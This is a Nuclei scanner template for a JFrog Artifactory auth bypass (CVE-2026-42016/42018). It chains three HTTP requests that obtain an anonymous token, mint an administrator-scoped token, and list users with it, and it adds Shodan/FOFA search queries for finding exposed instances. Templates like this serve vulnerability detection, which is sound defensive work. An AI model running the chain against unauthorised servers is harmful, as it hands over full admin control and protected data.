CVE-2026-42016: JFrog Artifactory - Unauthenticated Admin Token Minting via Token Scope Bypass

id: CVE-2026-42016

info:
  name: JFrog Artifactory - Unauthenticated Admin Token Minting via Token Scope Bypass
  author: theamanrawat
  severity: high
  description: |
    JFrog Artifactory Self-Hosted can disclose an anonymous token through the trailing-slash AWS token endpoint (CVE-2026-42018), and affected releases can use that token to issue an administrator-scoped token without enforcing its scope (CVE-2026-42016).
  impact: |
    An unauthenticated attacker can obtain an administrator token and access protected platform data and functions.
  remediation: |
    Upgrade to a JFrog Artifactory release that fixes both CVE-2026-42016 and CVE-2026-42018; consult the JFrog advisory for the applicable release branch.
  reference:
    - https://docs.jfrog.com/releases/docs/jfrog-security-advisories
    - https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201
    - https://docs.jfrog.com/administration/reference/createToken
    - https://docs.jfrog.com/administration/reference/getUserList
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-42016
    epss-score: 0.08643
    epss-percentile: 0.95153
    cwe-id: CWE-863
  metadata:
    verified: false
    max-request: 3
    vendor: jfrog
    product: artifactory
    shodan-query: 'http.title:"JFrog"'
    fofa-query: 'title="JFrog"'
  tags: cve,cve2026,jfrog,artifactory,auth-bypass,privilege-escalation,token,kev,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /access/api/v1/aws/token/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"username"\s*:\s*"anonymous"'
        internal: true

      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "access_token")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: anon_jwt
        part: body
        json:
          - '.access_token'
        internal: true

  - raw:
      - |
        POST /access/api/v1/tokens HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{anon_jwt}}

        {"username":"admin","scope":"applied-permissions/admin","expires_in":60}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "access_token")'
        condition: and
        internal: true

      - type: regex
        part: body
        regex:
          - '"scope"\s*:\s*"applied-permissions/admin"'
        internal: true

    extractors:
      - type: json
        name: admin_token
        part: body
        json:
          - '.access_token'
        internal: true

  - raw:
      - |
        GET /access/api/v2/users?limit=1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{admin_token}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"users\"")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100a992694c175c4066f7b134700971a8f2e15d28aa94e495aeb83823f15c977cea02205d50335db1f1a4f0460b0cbf73feb4b2829ecd9743c91a94f5fa2c73448ffb20:922c64590222798bb761d5b6d8e72950

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